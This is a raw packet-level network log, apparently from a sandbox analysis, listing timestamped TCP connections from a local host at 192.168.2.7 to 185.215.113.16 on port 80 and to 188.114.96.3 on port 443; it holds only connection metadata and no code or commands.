Nov 1, 2024 12:34:30.705543041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705552101 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705562115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705574036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705583096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705583096 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705595970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705611944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705621958 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705625057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705636024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705637932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705650091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705662012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705665112 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705673933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705687046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705693007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705703974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705705881 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705718994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705730915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705741882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705748081 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705754042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705765009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705765963 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705776930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705789089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705796957 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705797911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705815077 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705832958 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705840111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705852032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705861092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705873013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705883980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705894947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705897093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705908060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705920935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705920935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705933094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705941916 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705945015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705964088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705965996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705976963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705987930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705988884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706007004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706015110 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706018925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706029892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706043005 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706048012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706059933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706070900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706078053 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706082106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706091881 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706094980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706110001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706118107 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706121922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706140041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706151009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706159115 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706162930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706180096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706182003 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706209898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706376076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706387997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706398964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706409931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706413984 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706422091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706434011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706444025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706445932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706459999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706475973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706480026 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706487894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706490040 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706501961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706511021 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706520081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706533909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706536055 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706547022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706557989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706568956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706578970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706590891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706592083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706602097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706613064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706614971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706630945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706641912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706651926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706653118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706657887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706664085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706676006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706676006 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706687927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706698895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706701994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706711054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706722021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706723928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706733942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706744909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706756115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706768036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706778049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.706779003 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706788063 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706799984 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706820011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.706999063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.707010984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.707021952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.707041025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.723378897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723424911 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.723496914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723509073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723520994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723531961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723542929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723551989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.723556042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723568916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723581076 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.723603010 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.723731041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.723772049 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.723854065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.726864100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.726907969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.726979971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.726991892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.727001905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.727014065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.727029085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.727030039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.727041960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.727046013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.727055073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.727068901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.727076054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.727113008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.727993965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728005886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728017092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728038073 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728068113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728080034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728091002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728101969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728106022 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728120089 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728209972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728220940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728231907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728243113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728252888 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728255033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728267908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728276968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728281021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728308916 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728326082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728416920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728432894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728445053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728456020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728466988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728466988 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728480101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728491068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728494883 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728502989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728513002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728514910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728548050 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728727102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728738070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728748083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728759050 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728765965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728777885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728785038 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728790045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728801966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728810072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728812933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728826046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728842974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728867054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.728890896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728965998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.728977919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729029894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729058981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729079962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729090929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729103088 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729123116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729145050 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729182959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729193926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729218960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729274035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729286909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729296923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729310036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729311943 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729322910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729331017 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729372025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729513884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729525089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729538918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729548931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.729561090 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.729573965 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.730048895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730231047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730242014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730253935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730264902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730266094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.730276108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730283976 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.730289936 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730303049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730314016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730314016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.730326891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730339050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730350018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730355978 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.730364084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.730377913 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.730401993 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.859966993 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.860059023 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.866271019 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.866281033 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.866520882 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.867834091 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.867860079 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:30.868432045 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:30.947233915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.947283030 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.099302053 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.104182005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.104203939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.104217052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.104238987 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.111176968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116522074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116548061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116559982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116570950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116571903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116588116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116599083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116602898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116615057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116625071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116651058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116687059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116708040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116719961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116730928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116741896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116744041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116755009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116764069 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116766930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116780996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116789103 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116815090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116825104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116826057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116846085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116857052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116863012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116867065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116878986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116889954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116892099 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116902113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116910934 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116914034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116935968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.116983891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.116995096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117006063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117017031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117019892 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117028952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117039919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117047071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117063046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117079973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117091894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117103100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117113113 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117114067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117125988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117136002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117139101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117151022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117160082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117167950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117194891 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117216110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117227077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117238045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117257118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117276907 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117424965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117436886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117449045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117465973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117472887 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117481947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117494106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117503881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117508888 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117517948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117527962 CET	80	49996	185.215.113.16	192.168.2.7
